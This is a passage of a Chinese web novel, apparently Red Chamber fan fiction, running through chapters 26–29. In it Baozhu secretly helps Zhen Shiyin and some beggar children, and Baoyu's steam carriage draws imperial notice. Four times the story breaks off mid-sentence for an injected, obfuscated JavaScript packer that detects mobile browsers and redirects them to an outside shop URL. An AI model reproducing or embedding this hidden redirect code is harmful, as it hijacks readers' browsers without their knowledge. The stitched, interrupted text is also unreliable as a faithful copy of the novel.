她和黛玉、紫鹃认识了这么久,知道贾府里有身份的丫鬟在吃穿用度上并不差,而且很少做灶台边上和打扫的粗活。所以在没来之前,宝珠是真想过这两个女孩子对着炉灶束手无策,买外食度日的可能的。 结果嘛,人家可比她强多了,她如今在厨房最大的成就也就不过是炒个番茄炒蛋而已。 宝珠闻着飘上来的香味,觉得自己都有点馋了,于是顺手拆了一包饼干啃了起来。眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188432|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看有碎渣要掉到下面的小人头上,宝珠熟练地拿手一接。 完美。 就是不知道明天起来称重会不会又重了半斤,宝珠正这样吐槽着自己,眼角余光却发现了一道不一样的视线。 宝珠看过去,一个衣着破烂的老人正躲在隔壁巷子一户人家的围墙阴影下,昂着头安静地看着天空。 是在看天,还是在看我啊? 宝珠摇摇脑袋,他的视线也跟着动了动。 “你能看到我吗?”宝珠有点诧异。 老人的视线还是看着这个方向,虽然他露出了惊讶的神色,但对宝珠的问话却没有反应。 “你能看到我吗?”宝珠又问了一次。 老人还是没回答。 原来看不到我啊。宝珠有点失望。但看到老人花白的头发和落魄的模样,宝珠想了想,回到林府找黛玉要了几块点心和一串铜钱,轻轻地放在了老人的身边。 老人困惑地看着天上的巨人,当那只巨人接近时他甚至任命地闭上了眼睛。但正小心翼翼、担心把点心盘子捏碎的宝珠并没有注意到这个。等身边的动静消失,老人这才慢慢睁开眼睛,看到手边突兀地多出了一堆东西,他有些惊讶。 然后香甜的味道唤醒了他的饥饿感,他就不再思考它们的来历,拿起点心,掰开一小块放进嘴里。 很甜,这样的味道他好久都没有尝过了。老人吃东西的速度快了起来,两三口就吃下了一块点心。 “吱呀~” 对面的门开了,一个小女孩在里边探出头。老人似乎认识她,开心地向她伸出手。 “要不要?” 小女孩眼睛盯着那块看着就很好吃的点心,咬着指头正犹豫着,就被赶过来的母亲一把拉了回去。木门也被重重关上了,还落了门栓,然后里面传来了女人教训女儿的声音。 “不许再和那个疯子说话!” 老人也不在意,嘻嘻笑着把那块没能送出的点心吃下了肚。没有水,再香甜的点心吃到后面也有些难以下咽,但老人依然还是把点心一点点地都吃完了。然后他把那串铜钱揣进怀里,扶着墙站了起来。 “她是个好神仙。” “好神仙会帮我的。”老人有点神经兮兮地念叨着。填饱了肚子,他似乎又清醒了点,“她一定会帮我的。” “附近这几天来了个疯老头,不过他是个文疯子,不打人也不乱喊乱叫。你们也不要怕,少出门,关好门户就好。”下午时,里正的儿媳妇还特别和瑞珠、英莲两姐妹说起这件事。 瑞珠做好了准备,但接下来几天却没人再见到那个并不讨人厌的疯老头。大家也只当他又转到别处去了,并不在意。有小孩的人家还松了口气。 没人知道,在林家的小姐启程去京城之后,那个没能找到他口中“好神仙”的疯老头也柱着拐杖往北而行。 “会的,她一定会帮我找回英莲的。” 甄士隐苍老的脸上露出了期盼的神色,脚步越发轻快,而他的身影也离扬州、离最初的小巷越来越远了。 26.第 26 章 宝珠不知道她的出现给甄士隐带来的影响,接下来的几天她都在试验时长调整的功能。当验证了节省的时长可以无限积累,宝珠就小心机地把每次链接的时间都控制在2个半小时左右,把节省的那二三十分钟都积攒起来。 这大概是一个游戏人的本能吧。虽然还不知道某个资源有没有用,但能多攒点是一点,看着那被填满的仓库或一长串的数字就很有满足感。 黛玉和贾琏如今已经再次随船行进在京杭大运河之上。不同于黛玉离开父亲时的复杂情绪,贾琏如今的欣喜几乎可以用脱离牢笼、重见天日来形容了。 天可怜见,他可是足足素了好几个月啊。虽然这话估计凤姐和平儿听了都不会信,但他确实是在扬州安分得不能再安分了。 不过吧,贾琏虽然风流好色,却并不是不知好歹的蠢人。他知道林如海这段时间是真心教导他,他也感激和尊敬这位长辈,于是对黛玉都比往常更尽心了。每到一处热闹些的码头,他上岸游乐之余,但也不忘给船上的黛玉捎去新鲜的瓜果和特色的小吃。 除此之外,他还顺带采买了许多这一路的特产,准备捎回京城看能不能赚上一笔。这还是他从林家的掌柜那里学来的,正好小试牛刀一番,看这些经营家业的道理到底用不用得上。 他的心腹兴儿见二爷一心忙着挣钱,竟然连之前心心念念的涩涩都没怎么顾得上,也是大开眼界。这二爷可是真得变化极大了。但贾琏不搞事,兴儿也乐见其成。毕竟若是被凤姐发现,受气挨罚的还是他这个当奴才的。 黛玉这边行程一路顺遂、平安无事,宝玉那边却是起了个不大不小的波折。他之前让贾芸找人做了个蒸汽车,本来是想送给姐妹们看个新鲜的,不巧被贾政先见到了,当场被砸了稀烂。 这事本来也就到此为止了。传出去也不过是些少年公子玩物丧志、端肃长辈怒而教子的言语。这在京城里实在极为常见。 但后续的事却出乎许多人的意料,北静王水溶听了这事,竟然是把那个做了蒸汽车的老工匠召到了王府,加上宝玉和严教士,要让他们把那个不用牛马也能自行驱动的铁壳车重新做出来。 虽然从宝玉到水溶都没有宣扬这件事,但没过多久京城里面许多人都知道了,私下里议论纷纷。贾政颇觉脸上有些不好看,但他既不可能去质问王爷,又不能辖制着宝玉不让出门,只好假装无事。 没过几天,连当今天子也知道了此事,办理完政务之后便单独把水溶留了下来。水溶自幼父母双亡,是由太上皇接入宫中抚养的,因此和皇帝除了君臣之谊外,还多了些兄弟情谊。两人私下说话也就不很避讳。 “你不是还念着祖上和宁荣二府的交情吗,怎么这次突然又扫了他家的脸面?”皇帝笑眯眯地,随口问道。 水溶也还年轻,听到皇帝这样说有些羞愧,“这实在是无心之失,我本意不是如此。那贾家的小公子虽然年幼,但在技巧器械上却极有天分。那蒸汽机原是严教士国中用在矿中汲水的,他只听了几句描述却能设计可以行走载物的蒸汽车,这般难得之物,我如何不想着亲眼见一见?” “原来如此,你倒是怜惜人才。” “也不止如此。陛下可还记得前些日子河北有折子上奏今岁石炭减产、因担心百姓冬日取暖不足,恳请朝廷从他处调拨的事?” 皇帝略一沉吟,“你的意思是……” “这蒸汽机本就是洋人用在矿中的得力之物,我想如果那蒸汽车确实如传言般技巧灵动,就还按洋人汲水的法子重新打造了,选个矿先试上一试,若是能真的有用,岂不是一桩美事。” “你想得倒也不错,”皇帝笑道,“这也不是什么大事,你既是上心便交给你去办吧,只是要顾全贾卿的体面,不要再莽撞了。” 水溶自然是高高兴兴地应了。正好没几日就是史老太君的生日,他就让长府官上门送了一份厚礼。这一日本不是老太君逢五、逢十的大生日,贾府也没有要大办的意思,大家见王府送了重礼,又是长府官亲自前来,有些不着边际的传言也就慢慢散了。 荣国府有了颜面,史老太君非常高兴,贾政被母亲教导了两句,也不敢再多心了。只是可惜贾琏如今沉迷挣钱,一路都在买买买,竟耽搁了行程,害得黛玉如今还在路上,没能赶上外祖母的寿诞。 宝玉从此更加常往王府跑。他有宝珠这个神一般的外挂,在蒸汽机的改进上提了颇多有效的建议。而对于水溶等人的赞誉,宝玉最初是拒绝的,坚称只是看了些古书,从上面得了灵感而已。众人对此将信将疑,但随着改进的深入,他原本的这个借口就不太够用了。无论他如何解释,水溶和严教士对他投来的赞许目光也一丝未曾减少。 宝珠看他解释得尴尬,笑得不行,干脆让他认了下来。“就算你说实话他们也不会相信,何必这么纠结,就当你是正主就好。只是私下里你可要多下功夫学习,要不然日后大家知道得就不是伤仲永,而是伤宝玉了。” 但她这番话并没有让宝玉感觉好受些,少年感觉身上背负的压力更大了。于是,荣国府中就出现了让许多人惊讶的一幕,那位惫懒贪玩的宝二爷竟然也开始日夜苦读了。而有了北静王的看重,现在合府上下除了贾政再没有人认为宝玉看这些闲书是不务正业,袭人更是自以为宝玉归了正途,每天都要多念上几句阿弥陀佛。 “二叔近来辛苦了。”许久未出现的贾芸看着两个黑眼圈都开始起了的宝玉,很是吃惊。因为蒸汽车的事,他最近都躲着不敢来府里,直到宝玉叫他才敢上门。 宝玉笑骂了他几句,便把宝珠为他理出的单子交给了贾芸。“你既是在书铺,正好帮我找这些书来。” 贾芸低头看了看。 《天工开物》、《梦溪笔谈》、《墨经》…… 这些书倒是不难找,贾芸就点头答应下来。宝玉又拿了银子给他,贾芸却推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203429|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却了。“二叔之前做的蒸汽车,如今外面好奇的人多了,都想着见一见,花再多钱也愿意。若是二叔能点头,不但不用二叔花钱,芸儿这里还有大孝敬。” 宝玉笑了,“那蒸汽车哪里是我做的,我不过是出了几张图纸罢了,从中出力的还是你和那老工匠。现在你既然愿意挣这个钱,只管重新找人做就是了,也不用再来孝敬我。” 贾芸把头摇得和拨浪鼓一样,一口咬定要三七分,他三宝玉七。宝玉拗他不过,也只得应了。他也是少年心性,从来不为钱财发愁的,没把这事真正放在心上。 宝玉拿到了书便认真看了起来。这也是宝珠吩咐的,虽然宝玉的底子是现代教育打下的,但通读过往的科技类书籍,不但对他的知识来源有一个交待,还可以启发思维。 又过了些时日,蒸汽车和那用在矿山中的汲水机都一并做好了。水溶见蒸汽车果然如传言般,心中大喜,当场便赏了老工匠一笔银子。但汲水机却不是那么方便试验的,水溶就让人把老工匠和机器一并送到了最近一处的矿山中,几日后就有人快马回城报告喜讯。 水溶又让人多试了几日,见那汲水的机器果然好用,才喜滋滋地去和皇帝说了。皇帝又派了工部的人前去勘察,这次的工部官员虽然品级不如贾政,但眼光却比他好多了,一眼就看出了蒸汽机的好处。只是这人也更谨慎些,又多费了半月的功夫各种试验,才回来向皇帝报告。 “陛下,此物确实有大用。只需燃料足够,便可无惧辛苦、日夜做工。而且稍加改造,不只矿山,在水利、营造等处都可以使用。唯一就是此物需用铁器锻造,且使用时耗费燃料颇多,因此只可用在大处,于小处反而得不偿失。” 皇帝有些诧异,“想不到一个小孩子想要送给姐妹的玩具,居然真的于国有益。”他虽然是把事情交给了北静王,但这件事的前因后果早有人仔仔细细地报了过来。“本来该好好赏这孩子的,但他现在没有官身,又太过年幼,便记在他长辈身上吧。” 于是几日后,贾政就莫明其妙地被皇帝点名表扬了,恩赐了金银若干、新袍服两件。王夫人也得了些宫中的赏赐。 虽然东西不多,但天子赏赐的东西难得,贾政和王夫人虽然茫然,心中还是喜不自胜。然后又自有宫人来指点,他们夫妇才知道这荣耀是素来不长进的宝玉为他们挣的,王夫人自然更加高兴,贾政却是有些傻了。史老太君知道这事,又把儿子叫了过来,苦口婆心地劝他。 “我们家本就是勋贵出身,只是因为天子治世太平,才让子弟们读书,希望借此谋个出身。宝玉既然已经得了王爷的赏识,又在天子面前有了名字,你何苦还要去纠结读不读书的事,这岂不是本末倒置了吗?” 贾政被母亲说得无语。虽然一心只读圣贤书的他对宝玉在“奇技淫巧”上下功夫还有意见,但母亲说的都是事实,他也无法反驳,只好诺诺应了,从此再不管宝玉读书的事。 27.第 27 章 宝珠是一点点看着蒸汽机出现在大楚朝的,从宝玉一时兴起的制作,到贾政蛮横无理的破坏、再到水溶的看重和重制、最后成为朝廷官方层面尝试推行的新机械。 但也就是如此了,民间对蒸汽机的出现并没有什么热情,工部第一批制作出来的机器都用在了朝廷的矿山中。 一枚石子落到了沉静的池塘中,激起一点水花,但不大。 当然,也不能说民间对蒸汽机一点反应都没有。比如贾芸手里就已经攥了好些蒸汽车的订单,但这都是那些有钱有权的达官贵人定下的。对于他们来说,蒸汽车只是一个新奇的玩具罢了。 宝玉并不在意这些,他如今正兴奋地期盼着黛玉的回来。有了宝珠的通风报信,宝玉对黛玉进京的行程一清二楚,林妹妹到码头了,林妹妹上马车了,林妹妹进门了…… 看他整个人在那里焦躁不安,恨不得狂奔出去迎接黛玉,姐姐妹妹们都促狭地指着他笑。王熙凤附和笑了两声,但心底实在也挂念着许久未见的丈夫,便不如平常表情自然,被眼尖的李纨看了出来,很是打趣了两句。 等黛玉和贾琏一起出现在老太君面前,等他们拜见完长辈,宝玉便忍不住拉拉黛玉的衣袖。 “妹妹变了。” 史老太君忍俊不禁,“胡说什么,你妹妹哪里变了。知道的明白你们是几个月未见,不知道的还以为你们几年没见呢。” 宝玉说得却是他的真心话,这几个月中他和黛玉时常能通过手机联系,也视频过几次,但这次一见面他却有眼前一亮的感觉。“妹妹长高了,也越发漂亮了。” 老人家于是也拉着外孙女的手细细打量了一番,然后笑得合不拢嘴,“果然是女孩儿家一年一变,我的玉儿确实长大了。” 老太君又问林如海身体如此,这一路辛不辛苦,黛玉都一一答了。老太君夸贾琏这一次办事办得不错,把妹妹照顾得很好。贾琏本在一旁和王熙凤小两口你看看我、我看看你地传递情意,见祖母夸他,忙也高高兴兴地领了。 老太君知道孩子们各自都有一肚子话要说,便开明地让他们散了。 贾琏两口子小别胜新婚,此时自然你侬我侬地回自家院子去了。 三春却没给宝玉机会,高高兴兴地簇拥着黛玉走了。探春临走时还取笑宝玉,“二哥哥,你先等着,我们待会再把林姐姐给你送回来。” 宝玉急得在后面跺脚。亏他之前还想着在把蒸汽车弄进府给探春看,没想到姐姐妹妹们都是这么无情。 黛玉虽然也记挂宝玉,但见此情景也乐不可遏,跟着姐妹们走了。 宝玉垂头丧气地又回到史老太君身边,老人家忍不住拿指头点了点这个傻孩子,“你和黛玉久别重逢,难道姐妹们和黛玉的情分就差了?等黛玉回来,你们有多少话不能说,非要在女孩们说话的时候凑上去?” 宝玉默然无语,宝珠听了也直乐。 宝珠见宝玉和黛玉这时都分不出空来理她,就把视线切到了扬州。不巧这时扬州正在下雨,宝珠刚探头就感觉脸上一丝丝的凉意。天空阴沉沉的,街面上也只有几个撑伞的人匆匆经过。 天色不好,甄家两姐妹没有像往常一样坐在房中做针线活,而是靠在一位老妇人身边听她说话。这个老妇人宝珠以前没有见过,她大概六十多岁的模样,虽然头发花白,但眉宇间还能看出年轻时的美貌,看上去竟和英莲有几分相似。她此时正轻言细语地和女孩们说着过往,眼中全是慈祥和满足。 这是英莲的母亲封氏? 宝珠立刻就猜出了老人的身份。 当初请林如海寻人的时候,宝珠本来想着如皋和扬州离得不远,封家又是当地的殷实户,应该不是很难找。她没想到的是古代寻人是很难的,这点信息不足以准确定位,所以近两个月了,封氏依然迟迟没有音信。 若是再找不到人,宝珠都准备捏着鼻子,请林如海去咨询曾经见过封氏的贾雨村了。幸好林如海的人还是很得力的。 宝珠也好奇寻人的过程和封氏这些年的遭遇。但封氏口里并没有这些,她提及的都是她们一家在苏州时的事。苏州的街道如何热闹,自家园子里的花如何美丽,还有隔壁葫芦寺里的佛像,高大慈悲,自家还曾经为佛祖重塑金身出了钱…… 英莲靠着母亲听得很专心,她虽然和封氏见面才几天,但母女天性让她忍不住想要亲近对方。 瑞珠坐在一旁,眼神也很温柔。虽然封氏口中的过去没有她,但只是听着这些温馨的细碎往事,她也觉得自己的心底温暖了起来。 若是没有那个拐子,他们本来该是多么幸福的一家啊。宝珠叹息着,若是甄士隐还在就好了。也不知道他随着那个跛足道人去了哪里? 宝珠是和黛玉确认过的,她小时候确实家里来过癞头和尚说了些疯疯癫癫的话。而当箱子里的世界扩大后,她也曾在贾代儒家附近听到关于跛足道人和那面风月宝鉴的传言。但他们都去哪里了呢,如果真的是神仙或是有修行的人,难道从来就没有发现她的存在吗?如果发现了自己,他们为什么又从来不出现在她的面前? 这真是一个一直让宝珠困惑的事。 扬州的雨渐渐大了。大颗大颗的雨滴打在窗户上,溅入房中。瑞珠站起来把窗户也关住了,屋子里又黑了几分,越发有母亲给两个女儿讲故事的气氛。 宝珠也觉得脸上变得湿漉漉的,她看了一下,外面的行人更少了,河水也湍急了起来,有一条拴在河岸的小船在水面打着转,几乎要被水流裹挟着逃走。两个穿着蓑衣的男子正在岸上拉着船,宝珠见他们有些费力,悄悄伸出手稳住小船,他们才得以把小船转移到了风浪更小的地方。 “菩萨保佑!”年纪大些的那位男子似乎也察觉出了刚才的异样,对着上天祷告了一声。 宝珠又在某处角落看到无家可归的乞儿。几个瘦骨嶙峋的孩子躲在屋檐下,按着空空的肚子有些发愁。宝珠之前没见到过这些乞儿,但此时街面安静无人,他们的存在就变得显眼起来。 宝珠犹豫了一下,把自己的饼干捏成渣用一张糖纸包裹了,轻轻放在孩子们的旁边。他们的年纪看上去也和宝玉黛玉差不多,但身上灰扑扑的,有一个小些的孩子甚至没有穿上衣。 “这是什么?”一个孩子注意到了突然出现的奇怪包裹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220479|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个孩子好奇地凑过去,打开那花花绿绿的硬壳子。“好香啊!” “是吃的!”孩子们都激动起来。饿了两天的他们也顾不上警惕,七手八脚地把里面泛着香味的干饼抓出来塞进嘴里。 “甜的!”第一个尝到味道的孩子突然喊。似乎比起填饱肚子,他更为这嘴里的甜味而兴奋。 其他孩子脸上也露出幸福的表情。“甜的!”“真的是甜的!”孩子们高兴地叫嚷起来。他们中的许多人,还是第一次尝到这么甜蜜的滋味。比偶尔尝到的果子甜味要甜,比在街上闻到的糖人味道更香。 “是神仙给我们的吗?” 他们兴奋的声音惊动了躲雨的那户人家。一个壮实的中年人打开门,不耐烦地朝他们摆手,“小兔崽子都滚远点,不许再待在我们家门口。” 孩子们当即一哄而散,等门关好后,又有一个孩子偷偷捡了石头,砸在那户人家门上。 “你们这些小混蛋!”男子再次打开门,孩子们早已欢呼着跑远了。他们带着装满食物的包袱,开开心心地去找下一个躲雨的地方。 这一次他们不敢再发出大的声音,于是也就得以安安稳稳地填饱了肚子,在屋檐下无声地你打我一下,我打你一下地闹着玩。有爱干净的甚至还有心情脱下破布围成的衣服,自己走进雨水里搓去身上的污垢。 虽然还是八月,但也有年纪小些的孩子觉得有了凉意,挤在了同伴身边。 都还是孩子啊。宝珠突然觉得自己那点单薄的良心都在隐隐作痛。她想了一下,去房间里拿来一只眉笔,她在地上画出了一个箭头,然后又用比笔轻轻在那个正在雨中洗澡的男孩肩头戳了戳。 “啊~”男孩吓了一跳,然后就注意到地上的黑色印记。 其他孩子也凑了过来,七嘴八舌地问他。“怎么了?” 这时地上的黑色线条已经被雨水冲刷地有些模糊了,宝珠见状,又画了一道。 “有妖怪啊!”一个胆小的孩子当场喊了出来。其他孩子也都面露惶恐,退到了屋檐下面,随时准备逃走。 宝珠又点了点那个男孩肩头,再点点已经吃得干干净净,连最细小的饼干渣都被舔干干净的糖果纸。 看那装着好吃东西的硬壳子被不知名的力量摇晃着,男孩恍然大悟,“这些吃的是你给我们的?” 宝珠继续在地上画着箭头。 “你是要我们跟着这黑线走?”男孩看来很聪明,胆子也最大。刚才拿石头砸门的就是他。 宝珠没再画图,等待着孩子们的选择。 好在这些孩子没有让他失望,又或者孩子们面对一个愿意给他们食物(重点:还是甜的)的存在没有太大戒心,他们试探着朝着箭头的方向迈出了脚步。 宝珠一路画着箭头,把孩子们引到了之前摘花的废园。 “这里什么也没有啊,神仙为什么带我们到这里来?”孩子们正窃窃私语。雨越来越大了,天色阴沉地像是涂了墨一样。 为首的那个男孩也露出了怀疑的表情,突然一座粉红色的屋子从天而降,正好落在他们面前。 然后,门打开了。 28.第 28 章 孩子们欢呼一声,涌进了这所奇怪的屋子。虽然外面看上去又高又大,但屋子里什么家具都没有,空荡荡的只有四面墙壁、屋顶和地板。而墙壁上除了大门,甚至连一扇窗户都没有。屋顶上还有窄窄长长的一道缝隙,光线从上面透进了黑乎乎的屋子,但风雨却都被某个无形的阻碍挡在了外面。 虽然怪异简陋,但能够遮风挡雨,几个孩子已经很满意了。而他们得到的还不止如此,很快床铺、桌子、椅子从大门口被那位“好神仙”或“好妖怪”送了进来,孩子齐心合力地把这些家具摆放好,然后又迎来了一堆温暖干净的棉布、食物和水。 “真好。”孩子们低声欢呼着。 “我们有家了。” 宝珠为孩子们的新家做出了极大贡献。从小学留到现在的粉红小屋存钱罐没了。盒子里三层的豪华娃娃之家被拆得零零碎碎,活像有无情的罪犯打劫了芭比。比起这些,被剪成碎片的新脸巾就不值一提了。也是幸亏屋子大门是存钱罐的取钱口,留的尺寸够大,要不然宝珠就只能想办法拆屋顶了。 最后塞进去一小串发光的小灯泡之后,宝珠这才为孩子们虚掩上大门,在他们千恩万谢的声音中离开了这所废园。 人就是这样奇怪,许多东西不是不知道它的存在,但没见到的时候就心安理得,见到了就必须得为它这些什么。 宝珠又在扬州其他各处看了一下。这才发现这座繁荣城市中的乞丐其实并不少。不过成年的乞丐好歹还能找到一个栖身之处,比如土地庙或破屋之类的地方。未成年的孩子基本也是依附在长辈身边,宝珠没有再看到刚才那样只有几个孩子结伴的情况。 宝珠也在这些屋子角落放了些吃的,这才放心了些。她又把视线转回到甄家的小院子,厨房已经升起了炊烟,瑞珠和英莲正在里面生火做饭。封氏虽然还在屋里,但她打开了窗,视线时不时瞥向女儿的方向,里面的温柔几乎要形成实质。 宝珠被这样的温馨抚慰了一下,又把视线切回了京城。 黛玉还在三春房中和姐妹们讲述这几个月来的经历。从来没有离开过京城的三个少女听黛玉讲着扬州、讲着运河、码头、纤夫,眼神也多了些光彩。探春忍不住拍手,“若我有一日也能出去看这世间风光就好了。” 惜春笑她,“那你央求太太把你嫁得远远的,自然就能在路上看得到了。” 探春立刻伸出手去掐惜春脸上的婴儿肥,“就你淘气,看我不撕你的嘴。” 女孩子们这边其乐融融,留在院子里的宝玉左等右等不见黛玉回来,无聊至极,干脆跑到黛玉房中看紫鹃、雪雁几人收拾林妹妹这次从扬州带来的箱笼。 看也就罢了,他还要瞎指挥,没多久就被紫鹃连同众人一起赶了出来。“二爷且去外面玩去,我们要做事,没功夫照顾你。” 宝玉闷闷地在游廊上踢飘落下的叶子,扫地的小丫鬟不敢赶他,只好看着他叹气。倒是他自己觉得不对,低着头走了。最后还是史老太君把他叫了回去,陪她和王夫人、邢夫人一起摸牌。 宝玉打起精神陪长辈们打了几把,但他心里还在挂念林妹妹,没注意到鸳鸯的暗示,把老太君要胡的牌一直留在手里。王夫人瞪了魂不守舍的儿子一眼,“宝玉,你又发什么呆,快出牌。” “哦,哦!”宝玉看母亲的眼色,这才注意到鸳鸯已经摸了好几回耳朵,嘿嘿笑着按暗号打出了早就该出的那张牌。 “我赢了!”得到鸳鸯的提醒,史老太君开开心心地推牌,“清一色大满贯。” “老太太手气真好。”邢夫人笑眯眯地放下牌,“还是宝玉孝顺,别人没有的牌偏他有。” 宝玉却叹息一声,“我都输了好几把了,老太太还要赢我的钱。” 老太君不肯听他叫苦,只管让他出银子。“不给不行,哪有和我这个老婆子耍赖的。” 王夫人、邢夫人都笑了起来,宝玉只得叫了个小丫鬟去自己房里找袭人,“让她赶紧送几串钱来,要不然老太太要说我赖账了。” 过一会小丫鬟果然带了钱回来,宝玉把这些也输了个精光后,便不肯再上桌了。史老太君刚才赢他赢得开心,这会倒又心疼他了,把自己赢的钱全部都给了宝玉。 不但如此,她又对王夫人说,“可怜他前些日子为了送寿礼把私房钱都掏尽了,你这个当母亲的总得贴补他点。” 王夫人便也把自己面前的银钱都推给了宝玉。 邢夫人暗暗撇嘴,也没说话。 宝玉笑眯眯地谢过老太君和母亲,抱着一堆铜钱和碎银子出了屋子。他走后,鸳鸯顶了宝玉的位置,四个女人继续抹起牌来。 出门一抬头,宝玉就看见宝珠正在天上笑眯眯地看着自己,他便把满怀沉甸甸的钱往一个路过的小丫鬟手里一扔。“你帮我带回去给袭人。” “二爷?”铜钱落了一地,小丫鬟忙弯腰捡钱。 如今黛玉房中全是人,自己房中又有袭人和一众下人,宝玉干脆一溜小跑走到偏僻些的地方。 “宝珠姐姐,你刚才又去扬州了?我也好想去扬州看看啊,能生出林妹妹的地方,一定山灵水秀。”虽然已经看过扬州的照片,但宝玉依然很是对遥远的江南水乡很是好奇。 说起这个,宝玉突然又想起另一位来自江南的女子。叹息着说,“我这几天才听说薛姨妈家里的香菱不见许久了。她一个柔柔弱弱的女孩子,怎么可能自己从府里跑出去,难道又被拐子拐走了?” 宝珠几乎要翻白眼了。人都不见一个多月了你才听说,你消息也不灵通了。 其实这还真不怪宝玉不知道。一来薛家丫鬟的事,没有人会专门到宝玉耳边来说。二来瑞珠和英莲的失踪,涉及的两家人都当成秘密没有张扬。 宁国府那边到底是将瑞珠认成小姐过的,总要有个说法,于是在私下找寻多日不见后,贾珍干脆让人报她悲伤过度以致病故。听闻瑞珠短短时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232899|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间人就“没了”,两府中不知多少人又对秦可卿之死加重了疑心。连尤氏都在暗暗怀疑是丈夫对知情人下了黑手,从此对贾珍更加冷了心。 英莲的事就要简单得多,薛家只和管家的王熙凤以及王夫人通过气,然后就当没这个人了。但薛家口风不严,薛蟠自己也是个不知忌讳的大嘴巴,隔得久了,就有风声隐隐透了出来。 这事就变得有些可笑了。 一个丫鬟,在要正经许给公子爷后却突然消失不见,这谁能信啊。于是荣国府的下人们都在猜想这女孩子八成是闹出了什么事被悄悄发卖了。 若真是那丫头自己跑的或是被人拐走呢?那就更可乐了。挨着国公府、自家上上下下几十口子人的地方,竟成了任人随意出入的市井。 啧啧…… 这薛家的门户也太不严谨了。 因为这事,宝钗的名声也受了些牵连,这些日子过来找宝玉和三春的次数都少了。她也在薛姨妈面前哭过几次,又为这事疑过薛蟠。薛蟠气得摔盘子打碗,又连着发了好几个恶誓,才算是在母亲和妹妹面前把这事糊弄过去了。 于是,如今薛家阖府上下都不敢再提香菱这个名字。宝玉听说了,也不知道是该庆幸这个有一面之缘的女孩子能逃离呆霸王,还是该担心她可能遭受的未知的危险。 宝珠笑了笑,“别替别人担心了,能离开薛家,那女孩不知道多开心呢!” 宝玉眼睛一亮,“宝珠姐姐,你是知道……” 宝珠打断他的话,“我什么都不知道。” “哦。”宝玉一看宝珠表情就明白了,立刻嘻嘻笑着捂嘴,一副“我懂、我不说”的乖巧模样。 宝珠也懒得理他。反正人她已经救走了,也没人会将京城里互不认识的两个女孩子和千里之外的甄家姐妹联系起来。 宝玉放心之后,又正经地向宝珠求教。他如今正在看物理的力学部分,有些这方面的问题没想明白。尤其是看过古代大佬们所著的偏应用的著作,加上严教士提及的洋人工坊中的机械,宝玉问提的问题也大多偏应用。 宝玉自然是希望得到宝珠解答的,可惜宝珠其实是个学渣。她虽然这段时间为了编辑教材重温了一遍中学课本,但她到底是离自己高三时的智力巅峰太久了(而且就算那个时候她也只是挣扎在及格线上),只好一一记下,准备回去查过后下次再来回复宝玉。 这两个人正说着,被问了一大堆问题的黛玉终于被三春姐妹放回来了。她一见宝玉就打趣他,“之前只见你惫懒厌学,怎么现在却成了个好学不倦的好学生了?” 宝玉嘻嘻笑道,“我只是讨厌那些圣贤书罢了,宝珠姐姐教给我们的何等有趣,如何不学?”他又带着点小骄傲说道,“可惜没能让你看到我做出来的蒸汽车。且再等几天,我让芸儿把他新制出来的车子偷偷送进来,姐妹们一起去看,这才有意思呢。” 黛玉嫣然一笑,“好啊,那我就等着了。” 29.第 29 章 宝玉没让黛玉和贾府的姐妹们等太久,在众位长辈睁一只眼、闭一只眼的默许下,几天后就有一个改进版的蒸汽车被偷渡进了史老太君的院子。 比起第一个充满机械力量的完成品,贾芸重制的蒸汽车要小巧精致许多,不但各处棱角都被打磨圆润,外壳还刷了彩漆。这就真成了富豪之家的珍奇摆设和玩具了。 宝玉对此并没有什么意见,反而对贾芸的改造很是赞许。“送给姐妹们的东西,本就是要多用点心。” 见到闻名已久、闹出过几次风波的主角,女孩们眼睛里都闪着好奇的光。连平素最安静的迎春都忍不住上手去摸那前进中的漂亮小车,手指沾了煤烟也不在意。 史老太君也由鸳鸯扶着在门口看孩子们笑闹。看着车子在面前的地上转了一圈又一圈,老人笑眯眯地道,“果然有意思。还是王爷有眼光,看出来它是有大用的。” 